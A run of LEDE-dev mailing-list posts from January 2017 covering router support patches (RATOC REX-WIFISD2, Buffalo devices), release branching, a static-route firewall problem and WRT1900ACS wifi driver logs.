+-		if (hdr.magic != cpu_to_le32(TRX_MAGIC)) {
++		if (hdr.magic != cpu_to_le32(TRX_MAGIC) &&
++		    !(of_machine_is_compatible("buffalo,wcr-1166ds") && hdr.magic == cpu_to_le32(TRX_MAGIC_BUFFALO))) {
+ 			pr_debug("no valid trx header found in \"%s\" at offset %llx\n",
+ 				 master->name, (unsigned long long) offset);
+ 			continue;
-- 
2.7.4



From naobsd at gmail.com  Tue Jan 10 07:39:17 2017
From: naobsd at gmail.com (FUKAUMI Naoki)
Date: Wed, 11 Jan 2017 00:39:17 +0900
Subject: [LEDE-DEV] [PATCH] ramips: add support for RATOC REX-WIFISD2
Message-ID: <20170110153917.10350-1-naobsd@gmail.com>

RATOC REX-WIFISD2 is a battery-powered wireless SD card reader with

 - MT7620A + MT7610E
 - 64MiB DDR2 SDRAM
 - 16MiB SPI flash
 - 2T2R 2.4GHz + 1T1R 5GHz Wi-Fi
 - 1x 10/100Mbps ethernet switch
 - 1x SD card
 - 1x USB 2.0
 - 2x programmable LED
 - 1x button

stock firmware is very similar to HooToo Tripmate travel routers. you
can do almost anything as a root user with telnet and/or shell script
(factory image or "EnterRouterMode.sh") on stock firmware.

"EnterRouterMode.sh" will be the easiest way to install. put the
following shell script into SD card (or USB storage) as
"EnterRouterMode.sh" with "kernel.bin" and "rootfs.bin" files.

 ----
 #!/bin/sh

 dir=`dirname $0`

 mtd_write write ${dir}/kernel.bin Kernel_RootFS
 mtd_write -r write ${dir}/rootfs.bin Rootfs
 ----

it will be run automatically when SD card is mounted on stock firmware.

TFTP can also be used to flash kernel and rootfs. it will be run by
press & hold RESET button while power on. (serverip=10.10.10.254)

you may use all partitions between "kernel" and "rootfs" as a single
"firmware" partition (please edit dts yourself), but "params" partition
should be kept if you want to restore stock firmware.

Signed-off-by: FUKAUMI Naoki <naobsd at gmail.com>
---
 .../linux/ramips/base-files/etc/board.d/02_network |   1 +
 target/linux/ramips/base-files/etc/diag.sh         |   3 +-
 target/linux/ramips/base-files/lib/ramips.sh       |   3 +
 .../ramips/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ramips/dts/REX-WIFISD2.dts            | 145 +++++++++++++++++++++
 target/linux/ramips/image/mt7620.mk                |  10 ++
 6 files changed, 162 insertions(+), 1 deletion(-)
 create mode 100644 target/linux/ramips/dts/REX-WIFISD2.dts

diff --git a/target/linux/ramips/base-files/etc/board.d/02_network b/target/linux/ramips/base-files/etc/board.d/02_network
index daf9b33..d59a450 100755
--- a/target/linux/ramips/base-files/etc/board.d/02_network
+++ b/target/linux/ramips/base-files/etc/board.d/02_network
@@ -189,6 +189,7 @@ ramips_setup_interfaces()
 	mzk-ex750np|\
 	na930|\
 	pbr-d1|\
+	rex-wifisd2|\
 	wli-tx4-ag300n|\
 	wmr-300|\
 	wrh-300cr)
diff --git a/target/linux/ramips/base-files/etc/diag.sh b/target/linux/ramips/base-files/etc/diag.sh
index a22be5e..94be032 100644
--- a/target/linux/ramips/base-files/etc/diag.sh
+++ b/target/linux/ramips/base-files/etc/diag.sh
@@ -41,7 +41,8 @@ get_status_led() {
 	xdxrn502j)
 		status_led="$board:green:power"
 		;;
-	3g-6200nl)
+	3g-6200nl|\
+	rex-wifisd2)
 		status_led="$board:green:internet"
 		;;
 	a5-v11|\
diff --git a/target/linux/ramips/base-files/lib/ramips.sh b/target/linux/ramips/base-files/lib/ramips.sh
index 9b82b2a..90f8370 100755
--- a/target/linux/ramips/base-files/lib/ramips.sh
+++ b/target/linux/ramips/base-files/lib/ramips.sh
@@ -400,6 +400,9 @@ ramips_board_detect() {
 	*"RE6500")
 		name="re6500"
 		;;
+	*"REX-WIFISD2")
+		name="rex-wifisd2"
+		;;
 	*"RN502J")
 		name="xdxrn502j"
 		;;
diff --git a/target/linux/ramips/base-files/lib/upgrade/platform.sh b/target/linux/ramips/base-files/lib/upgrade/platform.sh
index c097cfa..87f4ecd 100755
--- a/target/linux/ramips/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ramips/base-files/lib/upgrade/platform.sh
@@ -111,6 +111,7 @@ platform_check_image() {
 	px-4885|\
 	rb750gr3|\
 	re6500|\
+	rex-wifisd2|\
 	rp-n53|\
 	rt5350f-olinuxino|\
 	rt5350f-olinuxino-evb|\
diff --git a/target/linux/ramips/dts/REX-WIFISD2.dts b/target/linux/ramips/dts/REX-WIFISD2.dts
new file mode 100644
index 0000000..ddf7e01
--- /dev/null
+++ b/target/linux/ramips/dts/REX-WIFISD2.dts
@@ -0,0 +1,145 @@
+/dts-v1/;
+
+#include "mt7620a.dtsi"
+
+#include <dt-bindings/gpio/gpio.h>
+#include <dt-bindings/input/input.h>
+
+/ {
+	compatible = "ratoc,rex-wifisd2", "ralink,mt7620a-soc";
+	model = "RATOC REX-WIFISD2";
+
+	gpio-keys-polled {
+		compatible = "gpio-keys-polled";
+		#address-cells = <1>;
+		#size-cells = <0>;
+		poll-interval = <20>;
+
+		reset {
+			label = "reset";
+			gpios = <&gpio2 1 GPIO_ACTIVE_LOW>;
+			linux,code = <KEY_RESTART>;
+		};
+	};
+
+	gpio-leds {
+		compatible = "gpio-leds";
+
+		internet {
+			label = "rex-wifisd2:green:internet";
+			gpios = <&gpio2 2 GPIO_ACTIVE_HIGH>;
+		};
+
+		wifi {
+			label = "rex-wifisd2:blue:wifi";
+			gpios = <&gpio3 0 GPIO_ACTIVE_LOW>;
+		};
+	};
+};
+
+&ehci {
+	status = "okay";
+};
+
+&ethernet {
+	mtd-mac-address = <&factory 0x2e>;
+	mediatek,portmap = "llllw";
+};
+
+&gpio1 {
+	status = "okay";
+};
+
+&gpio2 {
+	status = "okay";
+};
+
+&gpio3 {
+	status = "okay";
+};
+
+&ohci {
+	status = "okay";
+};
+
+&pcie {
+	status = "okay";
+
+	pcie-bridge {
+		mt76 at 0,0 {
+			reg = <0x0000 0 0 0 0>;
+			device_type = "pci";
+			mediatek,mtd-eeprom = <&factory 0x8000>;
+			mediatek,2ghz = <0>;
+		};
+	};
+};
+
+&pinctrl {
+	state_default: pinctrl0 {
+		gpio {
+			ralink,group = "wled", "ephy";
+			ralink,function = "gpio";
+		};
+	};
+};
+
+&spi0 {
+	status = "okay";
+
+	m25p80 at 0 {
+		#address-cells = <1>;
+		#size-cells = <1>;
+		compatible = "jedec,spi-nor";
+		reg = <0>;
+		spi-max-frequency = <10000000>;
+		m25p,chunked-io = <32>;
+
+		partition at 0 {
+			label = "u-boot";
+			reg = <0x0 0x30000>;
+			read-only;
+		};
+
+		partition at 30000 {
+			label = "u-boot-env";
+			reg = <0x30000 0x10000>;
+			read-only;
+		};
+
+		factory: partition at 40000 {
+			label = "factory";
+			reg = <0x40000 0x10000>;
+			read-only;
+		};
+
+		partition at 50000 {
+			label = "kernel";
+			reg = <0x50000 0x180000>;
+		};
+
+		partition at 1d0000 {
+			label = "params";
+			reg = <0x1d0000 0x10000>;
+		};
+
+		partition at 1e0000 {
+			label = "user_backup";
+			reg = <0x1e0000 0x10000>;
+		};
+
+		partition at 1f0000 {
+			label = "user";
+			reg = <0x1f0000 0x10000>;
+		};
+
+		partition at 200000 {
+			label = "rootfs";
+			reg = <0x200000 0xe00000>;
+		};
+	};
+};
+
+&wmac {
+	ralink,mtd-eeprom = <&factory 0>;
+};
diff --git a/target/linux/ramips/image/mt7620.mk b/target/linux/ramips/image/mt7620.mk
index 1889bcf..d479010 100644
--- a/target/linux/ramips/image/mt7620.mk
+++ b/target/linux/ramips/image/mt7620.mk
@@ -462,3 +462,13 @@ define Device/kng_rc
 	zyimage -d 8997 -v "ZyXEL Keenetic Viva"
 endef
 TARGET_DEVICES += kng_rc
+
+define Device/rex-wifisd2
+  DTS := REX-WIFISD2
+  IMAGES := kernel.bin rootfs.bin
+  IMAGE/kernel.bin := append-kernel
+  IMAGE/rootfs.bin := append-rootfs | pad-rootfs
+  DEVICE_TITLE := RATOC REX-WIFISD2
+  DEVICE_PACKAGES := kmod-usb2 kmod-usb-ohci
+endef
+TARGET_DEVICES += rex-wifisd2
-- 
2.7.4



From naobsd at gmail.com  Tue Jan 10 07:44:26 2017
From: naobsd at gmail.com (Naoki FUKAUMI)
Date: Wed, 11 Jan 2017 00:44:26 +0900
Subject: [LEDE-DEV] [PATCH] ar71xx: prepare jffs2 partition properly in
 factory.bin for BHR-4GRV2
In-Reply-To: <CAFnsNoQFgXJhtRDcbr8Cpd6zowNZ+LgwTH0iZd_xVA6cx=vvwA@mail.gmail.com>
References: <20161209085315.18636-1-naobsd@gmail.com>
 <CAFnsNoQFgXJhtRDcbr8Cpd6zowNZ+LgwTH0iZd_xVA6cx=vvwA@mail.gmail.com>
Message-ID: <CAFnsNoSjwa61Qm-iQV=pVht60N0JvVVMc+XR_a3jRgJT8XQuJw@mail.gmail.com>

hi,

could you handle this patch?

Regards,

On Fri, Dec 23, 2016 at 10:43 PM, Naoki FUKAUMI <naobsd at gmail.com> wrote:
> hi
>
> what's the current status?
>
> On Fri, Dec 9, 2016 at 5:53 PM, FUKAUMI Naoki <naobsd at gmail.com> wrote:
>> "pad-rootfs" is required just after "append-rootfs".
>>
>> Signed-off-by: FUKAUMI Naoki <naobsd at gmail.com>
>> ---
>>  target/linux/ar71xx/image/generic.mk | 2 +-
>>  1 file changed, 1 insertion(+), 1 deletion(-)
>>
>> diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
>> index 6ceabeb..b1d9af9 100644
>> --- a/target/linux/ar71xx/image/generic.mk
>> +++ b/target/linux/ar71xx/image/generic.mk
>> @@ -704,6 +704,6 @@ define Device/bhr-4grv2
>>    MTDPARTS := spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,14528k(rootfs),1472k(kernel),64k(art)ro,16000k at 0x50000(firmware)
>>    IMAGES := sysupgrade.bin factory.bin
>>    IMAGE/sysupgrade.bin = append-rootfs | pad-rootfs | pad-to $$$$(ROOTFS_SIZE) | append-kernel | check-size $$$$(IMAGE_SIZE)
>> -  IMAGE/factory.bin = append-kernel | pad-to $$$$(KERNEL_SIZE) | append-rootfs | mkbuffaloimg
>> +  IMAGE/factory.bin = append-kernel | pad-to $$$$(KERNEL_SIZE) | append-rootfs | pad-rootfs | mkbuffaloimg
>>  endef
>>  TARGET_DEVICES += bhr-4grv2
>> --
>> 2.7.4
>>


From daniel at makrotopia.org  Tue Jan 10 08:03:10 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Tue, 10 Jan 2017 17:03:10 +0100
Subject: [LEDE-DEV] Branching LEDE 17.01
In-Reply-To: <0578f244-bef6-7763-d510-bf73d40cac17@mein.io>
References: <0578f244-bef6-7763-d510-bf73d40cac17@mein.io>
Message-ID: <20170110160309.GB20448@makrotopia.org>

Hi!

I'd really like to see a rather trivial issue addressed:
dnsmasq fails to get notifications on /tmp/resolv.conf.auto changes
when running inside ujail. This is because the bind mount obviously
won't survive this file being *replaced*, eg. if the DHCP client
supplies the DNS server to be used only after dnsmasq has already
been started.

The easiest solution would be to introduce a directory
/tmp/resolv.conf.d/, move all /tmp/resolv.conf* in there and bind mount
that into the jail instead. The current /tmp/resolv.conf.auto seems to
hardcoded in netifd and appears in dnsmasq's and mwan's default config.
Anywhere else? Given the overall code quality of dnsmasq, it would
really be nice to at least have it run in a jail by default for the
next release...

Mentioning the problem to John, he said that the current bind mounting
approach will be replaced by a future jailfs he is working on. However,
I'm afraid this won't be ready by Friday ;)

If there are no objections, I'll suggest a PR introducing
/tmp/resolv.conf.d/ and moving the location of /tmp/resolv.conf* into
that directory.

Cheers

Daniel


On Tue, Jan 10, 2017 at 04:19:05PM +0100, Jo-Philipp Wich wrote:
> Hi guys,
> 
> I'd like to branch off lede-17.01 on Friday, the 13th and would
> appreciate if you could merge your outstanding, release critical work
> until then.
> 
> If you think we should delay branching, then raise your objections now.
> 
> If no objections are brought up within the next 24 hours, I'll go
> forward asking the feed maintainers to create "lede-17.01" branches.
> 
> 
> Regards,
> Jo
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From openwrt at ezplanet.net  Tue Jan 10 08:16:57 2017
From: openwrt at ezplanet.net (Mauro Mozzarelli)
Date: Tue, 10 Jan 2017 16:16:57 +0000
Subject: [LEDE-DEV] LEDE static routes not working when masquerade/firewall
 is on
In-Reply-To: <96e52ed8-9da3-1d95-1fe2-fb4a0d0a923c@ezplanet.net>
References: <HE1PR10MB0041200CEE67B62511669FC1ED6C0@HE1PR10MB0041.EURPRD10.PROD.OUTLOOK.COM>
 <ba41a4c9-1a38-eaf3-892b-d72549cafc26@ezplanet.net>
 <9fbe29c8-d2b7-b3c0-8bbf-90898b230f1d@gmail.com>
 <96e52ed8-9da3-1d95-1fe2-fb4a0d0a923c@ezplanet.net>
Message-ID: <463e3dea-45ce-5ebd-8668-cf767ba036bf@ezplanet.net>

Hello,

When I switched from OpenWrt to LEDE static routes configured on my 
network stopped working.

My configuration is as follows:


                           Internet ADSL
                                 |
                                 |
Internet ADSL                Router C
[Dynamic IP]              [Public Subnet P]
       |                         |
       |                 Address on Subnet P
   Router B                   Router A -------------- VPN to 192.168.2.0
  192.168.1.5               192.168.1.1
       |                         |
       |                         |
       --------------------------- [Private LAN 192.168.1.0]
         |
      Host X
     Default Router 192.168.1.5


Router A is configured to Masquerade traffic from 192.168.1.0 through 
its port on Subnet P
Router C is the default router for Public Subnet P
Router B is configured with a static route to Public Subnet P through 
192.168.1.1
I want traffic from Hosts with 192.168.1.5 default route to Public 
Subnet P to go via 192.168.1.1 (instead of through the internet)
I want traffic from Hosts with 192.168.1.5 default route to VPN 
192.168.2.0 to go via 192.168.1.1
On Router B I configure a static route directing traffic for Public 
Subnet P through 192.168.1.1
On Router B I configure a static route directing traffic for VPN 
192.168.2.0 through 192.168.1.1

Behaviour from Host X:

- Using OpenWRT (any version including latest trunk):
   I can ping any host on Public Subnet P or VPN 192.168.2.0
   I can http/https, use any protocol to any host on Public Subnet P or 
VPN 192.168.2.0

- Using LEDE up to build r2713 (the latest i tried)
I can ping any host on Public Subnet or VPN 192.168.2.0
   Any attempt to connect using any other internet protocol to any host 
in Public Subnet P or VPN 192.168.2.0 fails.

However if I disable Masquerading or the firewall altogether in Router B 
my connections succeed.

It looks as if response packets are somehow blocked by the firewall 
before they reach Host X (I can see connections coming on the hosts in 
Public Subnet P, and responses returning, but not reaching Host X).

I tried to add s specific directive to the Router B firewall to let 
through packets from Public Subnet P, but it is not working.
The only workaround I found working is to create a SNAT rule on Router B 
to Rewrite the source IP to 192.168.1.5 with destination Public Subnet 
P. This however should be un-necessary if the routing worked properly.

When I use OperWRT and I ping hosts on Subnet P from Host X I get an 
initial notification that the router is 192.168.1.1.
With LEDE installed I do not get such notification.


Are you aware of what was changed in LEDE that makes static routes no 
longer work properly?

Thank you in advance.


From kevin at kberanek.com  Tue Jan 10 09:30:35 2017
From: kevin at kberanek.com (Kevin Beranek)
Date: Tue, 10 Jan 2017 09:30:35 -0800
Subject: [LEDE-DEV] Linksys WRT1900ACS wifi issues with recent LEDE build
Message-ID: <CAKFqNODFbpmq0KTDfPCEWJm7+VaVSmiMFH7P+kkBemVoSQmqag@mail.gmail.com>

I had an older build of LEDE from sometime in December that was quite
stable (I don't know the exact version any more), but I upgraded to
r2718-fd718c5 recently and I've been having issues with the wifi on an
approximately daily basis.  I finally captured logs from one of these
events.  I've included the logs below.  I removed a bunch of lines
that are obviously not relevant and redacted IPs and MAC addresses.
The first section of logs below is what I saw after running "logread"
immediately after I noticed issues.  I then ran "/etc/init.d/network
restart", hoping it would fix things, but I was still seeing errors
and wifi didn't work until after I rebooted the device.

I see a couple commits (94030e86d5ea357f6c541d534c0ee1c8ab714fa5 and
24e58c3f72a94ebf659586eb876b06b59adb2bb2) that look suspicious simply
because they touched mwlwifi during the time period between my working
and non-working builds.  I haven't had a chance yet to test rolling
back either of those commits.

I also noticed that there's a very recent upstream commit in mwlwifi
titled "Modification of the code to truely support ACS." (commit id
0d5b9c26adbd984dee814453ab49914cc78bce19), which seems like something
that might be worth trying.

Any ideas?  Any additional information I can provide that might be useful?


Tue Jan 10 02:51:07 2017 kern.err kernel: [84609.492605] ieee80211
phy0: cmd 0x9125=BAStream timed out
Tue Jan 10 02:51:07 2017 kern.err kernel: [84609.498050] ieee80211
phy0: return code: 0x1125
Tue Jan 10 02:51:07 2017 kern.err kernel: [84609.502618] ieee80211
phy0: timeout: 0x1125
Tue Jan 10 02:51:07 2017 kern.err kernel: [84609.506838] ieee80211
phy0: destroy ba failed execution
Tue Jan 10 02:51:12 2017 daemon.info hostapd: wlan1: STA XXX WPA:
group key handshake completed (RSN)
Tue Jan 10 02:51:44 2017 kern.err kernel: [84646.102006] ieee80211
phy0: cmd 0x9122=UpdateEncryption timed out
Tue Jan 10 02:51:44 2017 kern.err kernel: [84646.108136] ieee80211
phy0: return code: 0x1122
Tue Jan 10 02:51:44 2017 kern.err kernel: [84646.112692] ieee80211
phy0: timeout: 0x1122
Tue Jan 10 02:51:44 2017 kern.err kernel: [84646.116892] ieee80211
phy0: failed execution
Tue Jan 10 02:51:44 2017 kern.err kernel: [84646.121180] wlan0: failed
to remove key (0, XXX) from hardware (-5)
Tue Jan 10 02:51:48 2017 kern.err kernel: [84650.128059] ieee80211
phy0: cmd 0x9122=UpdateEncryption timed out
Tue Jan 10 02:51:48 2017 kern.err kernel: [84650.134193] ieee80211
phy0: return code: 0x1122
Tue Jan 10 02:51:48 2017 kern.err kernel: [84650.138744] ieee80211
phy0: timeout: 0x1122
Tue Jan 10 02:51:48 2017 kern.err kernel: [84650.142961] ieee80211
phy0: failed execution
Tue Jan 10 02:51:48 2017 kern.err kernel: [84650.147253] wlan0: failed
to remove key (2, ff:ff:ff:ff:ff:ff) from hardware (-4)
Tue Jan 10 02:51:52 2017 kern.err kernel: [84654.153997] ieee80211
phy0: cmd 0x9122=UpdateEncryption timed out
Tue Jan 10 02:51:52 2017 kern.err kernel: [84654.160120] ieee80211
phy0: return code: 0x1122
Tue Jan 10 02:51:52 2017 kern.err kernel: [84654.164684] ieee80211
phy0: timeout: 0x1122
Tue Jan 10 02:51:52 2017 kern.err kernel: [84654.168887] ieee80211
phy0: failed execution
Tue Jan 10 02:51:52 2017 kern.err kernel: [84654.173182] wlan0: failed
to set key (2, ff:ff:ff:ff:ff:ff) to hardware (-5)
Tue Jan 10 02:51:56 2017 kern.err kernel: [84658.179938] ieee80211
phy0: cmd 0x9122=UpdateEncryption timed out
Tue Jan 10 02:51:56 2017 kern.err kernel: [84658.186066] ieee80211
phy0: return code: 0x1122
Tue Jan 10 02:51:56 2017 kern.err kernel: [84658.190615] ieee80211
phy0: timeout: 0x1122
Tue Jan 10 02:51:56 2017 kern.err kernel: [84658.194822] ieee80211
phy0: failed execution
Tue Jan 10 02:51:56 2017 kern.err kernel: [84658.199110] wlan0: failed
to remove key (0, XXX) from hardware (-5)
Tue Jan 10 02:52:00 2017 kern.err kernel: [84662.211881] ieee80211
phy0: cmd 0x9122=UpdateEncryption timed out
Tue Jan 10 02:52:00 2017 kern.err kernel: [84662.218003] ieee80211
phy0: return code: 0x1122
Tue Jan 10 02:52:00 2017 kern.err kernel: [84662.222561] ieee80211
phy0: timeout: 0x1122
Tue Jan 10 02:52:00 2017 kern.err kernel: [84662.226760] ieee80211
phy0: failed execution
Tue Jan 10 02:52:00 2017 kern.err kernel: [84662.231046] wlan0-1:
failed to remove key (0, XXX) from hardware (-5)
Tue Jan 10 02:52:04 2017 kern.err kernel: [84666.239843] ieee80211
phy0: cmd 0x9122=UpdateEncryption timed out
Tue Jan 10 02:52:04 2017 kern.err kernel: [84666.245978] ieee80211
phy0: return code: 0x1122
Tue Jan 10 02:52:04 2017 kern.err kernel: [84666.250540] ieee80211
phy0: timeout: 0x1122
Tue Jan 10 02:52:04 2017 kern.err kernel: [84666.254753] ieee80211
phy0: failed execution
Tue Jan 10 02:52:04 2017 kern.err kernel: [84666.259045] wlan0-1:
failed to remove key (2, ff:ff:ff:ff:ff:ff) from hardware (-5)
Tue Jan 10 02:52:08 2017 kern.err kernel: [84670.267782] ieee80211
phy0: cmd 0x9122=UpdateEncryption timed out
Tue Jan 10 02:52:08 2017 kern.err kernel: [84670.273925] ieee80211
phy0: return code: 0x1122
Tue Jan 10 02:52:08 2017 kern.err kernel: [84670.278477] ieee80211
phy0: timeout: 0x1122
Tue Jan 10 02:52:08 2017 kern.err kernel: [84670.282693] ieee80211
phy0: failed execution
Tue Jan 10 02:52:08 2017 kern.err kernel: [84670.286986] wlan0-1:
failed to set key (2, ff:ff:ff:ff:ff:ff) to hardware (-5)
Tue Jan 10 02:52:12 2017 kern.err kernel: [84674.293719] ieee80211
phy0: cmd 0x9122=UpdateEncryption timed out
Tue Jan 10 02:52:12 2017 kern.err kernel: [84674.299840] ieee80211
phy0: return code: 0x1122
Tue Jan 10 02:52:12 2017 kern.err kernel: [84674.304398] ieee80211
phy0: timeout: 0x1122
Tue Jan 10 02:52:12 2017 kern.err kernel: [84674.308597] ieee80211
phy0: failed execution
Tue Jan 10 02:52:12 2017 kern.err kernel: [84674.312890] wlan0-1:
failed to remove key (0, XXX) from hardware (-5)
Tue Jan 10 02:52:16 2017 kern.err kernel: [84678.321664] ieee80211
phy0: cmd 0x9111=SetNewStation timed out
Tue Jan 10 02:52:16 2017 kern.err kernel: [84678.327531] ieee80211
phy0: return code: 0x1111
Tue Jan 10 02:52:16 2017 kern.err kernel: [84678.332095] ieee80211
phy0: timeout: 0x1111
Tue Jan 10 02:52:16 2017 kern.err kernel: [84678.336296] ieee80211
phy0: failed execution
Tue Jan 10 02:52:16 2017 daemon.info hostapd: wlan0: STA XXX IEEE
802.11: deauthenticated due to local deauth request
Tue Jan 10 02:52:20 2017 kern.err kernel: [84682.341609] ieee80211
phy0: cmd 0x9111=SetNewStation timed out
Tue Jan 10 02:52:20 2017 kern.err kernel: [84682.347475] ieee80211
phy0: return code: 0x1111
Tue Jan 10 02:52:20 2017 kern.err kernel: [84682.352039] ieee80211
phy0: timeout: 0x1111
Tue Jan 10 02:52:20 2017 kern.err kernel: [84682.356241] ieee80211
phy0: failed execution
Tue Jan 10 02:52:20 2017 daemon.info hostapd: wlan0: STA XXX IEEE
802.11: deauthenticated due to local deauth request
Tue Jan 10 02:52:24 2017 kern.err kernel: [84686.361552] ieee80211
phy0: cmd 0x9111=SetNewStation timed out
Tue Jan 10 02:52:24 2017 kern.err kernel: [84686.367411] ieee80211
phy0: return code: 0x1111
Tue Jan 10 02:52:24 2017 kern.err kernel: [84686.371967] ieee80211
phy0: timeout: 0x1111
Tue Jan 10 02:52:24 2017 daemon.info hostapd: wlan0-1: STA XXX IEEE
802.11: deauthenticated due to local deauth request
Tue Jan 10 02:52:24 2017 kern.err kernel: [84686.376166] ieee80211
phy0: failed execution
Tue Jan 10 02:52:28 2017 kern.err kernel: [84690.381499] ieee80211
phy0: cmd 0x9111=SetNewStation timed out
Tue Jan 10 02:52:28 2017 kern.err kernel: [84690.387365] ieee80211
phy0: return code: 0x1111
Tue Jan 10 02:52:28 2017 kern.err kernel: [84690.391931] ieee80211
phy0: timeout: 0x1111
Tue Jan 10 02:52:28 2017 kern.err kernel: [84690.396132] ieee80211
phy0: failed execution
Tue Jan 10 02:52:28 2017 daemon.info hostapd: wlan0-1: STA XXX IEEE
802.11: deauthenticated due to local deauth request
Tue Jan 10 02:52:32 2017 kern.err kernel: [84694.401442] ieee80211
phy0: cmd 0x8050=broadcast_ssid_enable timed out
Tue Jan 10 02:52:32 2017 kern.err kernel: [84694.408001] ieee80211
phy0: return code: 0x0050
Tue Jan 10 02:52:32 2017 kern.err kernel: [84694.412558] ieee80211
phy0: timeout: 0x0050
Tue Jan 10 02:52:32 2017 kern.err kernel: [84694.416757] ieee80211
phy0: failed execution
Tue Jan 10 02:52:36 2017 kern.err kernel: [84698.421386] ieee80211
phy0: cmd 0x8127=SetInformationElements timed out
Tue Jan 10 02:52:36 2017 kern.err kernel: [84698.428028] ieee80211
phy0: return code: 0x0127
Tue Jan 10 02:52:36 2017 kern.err kernel: [84698.432584] ieee80211
phy0: timeout: 0x0127
Tue Jan 10 02:52:36 2017 kern.err kernel: [84698.436783] ieee80211
phy0: failed execution
Tue Jan 10 02:52:40 2017 kern.err kernel: [84702.441331] ieee80211
phy0: cmd 0x801c=80211RadioControl timed out
Tue Jan 10 02:52:40 2017 kern.err kernel: [84702.447539] ieee80211
phy0: return code: 0x001c
Tue Jan 10 02:52:40 2017 kern.err kernel: [84702.452095] ieee80211
phy0: timeout: 0x001c
Tue Jan 10 02:52:40 2017 kern.err kernel: [84702.456293] ieee80211
phy0: failed execution
Tue Jan 10 02:52:44 2017 kern.err kernel: [84706.461275] ieee80211
phy0: cmd 0x8126=SetFixedRate timed out
Tue Jan 10 02:52:44 2017 kern.err kernel: [84706.467045] ieee80211
phy0: return code: 0x0126
Tue Jan 10 02:52:44 2017 kern.err kernel: [84706.471600] ieee80211
phy0: timeout: 0x0126
Tue Jan 10 02:52:44 2017 kern.err kernel: [84706.475799] ieee80211
phy0: failed execution
Tue Jan 10 02:52:48 2017 kern.err kernel: [84710.479234] ieee80211
phy0: cmd 0x8050=broadcast_ssid_enable timed out
Tue Jan 10 02:52:48 2017 kern.err kernel: [84710.485795] ieee80211
phy0: return code: 0x0050
Tue Jan 10 02:52:48 2017 kern.err kernel: [84710.490343] ieee80211
phy0: timeout: 0x0050
Tue Jan 10 02:52:48 2017 kern.err kernel: [84710.494550] ieee80211
phy0: failed execution
Tue Jan 10 02:52:52 2017 kern.err kernel: [84714.499178] ieee80211
phy0: cmd 0x8127=SetInformationElements timed out
Tue Jan 10 02:52:52 2017 kern.err kernel: [84714.505827] ieee80211
phy0: return code: 0x0127
Tue Jan 10 02:52:52 2017 kern.err kernel: [84714.510375] ieee80211
phy0: timeout: 0x0127
Tue Jan 10 02:52:52 2017 kern.err kernel: [84714.514581] ieee80211
phy0: failed execution
Tue Jan 10 02:52:56 2017 kern.err kernel: [84718.519124] ieee80211
phy0: cmd 0x801c=80211RadioControl timed out
Tue Jan 10 02:52:56 2017 kern.err kernel: [84718.525336] ieee80211
phy0: return code: 0x001c
Tue Jan 10 02:52:56 2017 kern.err kernel: [84718.529884] ieee80211
phy0: timeout: 0x001c
Tue Jan 10 02:52:56 2017 kern.err kernel: [84718.534090] ieee80211
phy0: failed execution
Tue Jan 10 02:53:00 2017 kern.err kernel: [84722.539068] ieee80211
phy0: cmd 0x8126=SetFixedRate timed out
Tue Jan 10 02:53:00 2017 kern.err kernel: [84722.544844] ieee80211
phy0: return code: 0x0126
Tue Jan 10 02:53:00 2017 kern.err kernel: [84722.549393] ieee80211
phy0: timeout: 0x0126
Tue Jan 10 02:53:00 2017 kern.err kernel: [84722.553600] ieee80211
phy0: failed execution

$ /etc/init.d/network restart

Tue Jan 10 02:56:01 2017 daemon.notice netifd: Interface 'guest' is now down
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Interface 'guest' is disabled
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Interface 'lan' is now down
Tue Jan 10 02:56:01 2017 kern.info kernel: [84903.580440] br-lan: port
3(wlan0-1) entered disabled state
Tue Jan 10 02:56:01 2017 kern.info kernel: [84903.585984] br-lan: port
2(wlan0) entered disabled state
Tue Jan 10 02:56:01 2017 kern.info kernel: [84903.591366] br-lan: port
1(eth1) entered disabled state
Tue Jan 10 02:56:01 2017 kern.info kernel: [84903.599931] device eth1
left promiscuous mode
Tue Jan 10 02:56:01 2017 kern.info kernel: [84903.604343] br-lan: port
1(eth1) entered disabled state
Tue Jan 10 02:56:01 2017 kern.info kernel: [84903.616703] IPv6:
ADDRCONF(NETDEV_UP): eth1: link is not ready
Tue Jan 10 02:56:01 2017 kern.info kernel: [84903.624825] device wlan0
left promiscuous mode
Tue Jan 10 02:56:01 2017 kern.info kernel: [84903.629356] br-lan: port
2(wlan0) entered disabled state
Tue Jan 10 02:56:01 2017 daemon.info dnsmasq[1937]: read /etc/hosts -
4 addresses
Tue Jan 10 02:56:01 2017 daemon.info dnsmasq[1937]: read
/tmp/hosts/odhcpd - 0 addresses
Tue Jan 10 02:56:01 2017 daemon.info dnsmasq[1937]: read
/tmp/hosts/dhcp.cfg02411c - 2 addresses
Tue Jan 10 02:56:01 2017 daemon.info dnsmasq-dhcp[1937]: read
/etc/ethers - 0 addresses
Tue Jan 10 02:56:01 2017 kern.info kernel: [84903.635680] device
wlan0-1 left promiscuous mode
Tue Jan 10 02:56:01 2017 kern.info kernel: [84903.640390] br-lan: port
3(wlan0-1) entered disabled state
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Interface 'lan' is disabled
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Network device 'eth1'
link is down
Tue Jan 10 02:56:01 2017 daemon.notice netifd: bridge 'br-lan' link is down
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Interface 'lan' has
link connectivity loss
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Interface 'loopback' is now down
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Interface 'loopback' is disabled
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Network device 'lo' link is down
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Interface 'loopback'
has link connectivity loss
Tue Jan 10 02:56:01 2017 daemon.notice netifd: wan (1195): udhcpc:
received SIGTERM
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Interface 'wan' is now down
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Interface 'wan' is disabled
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Network device 'eth0'
link is down
Tue Jan 10 02:56:01 2017 daemon.notice netifd: Interface 'wan' has
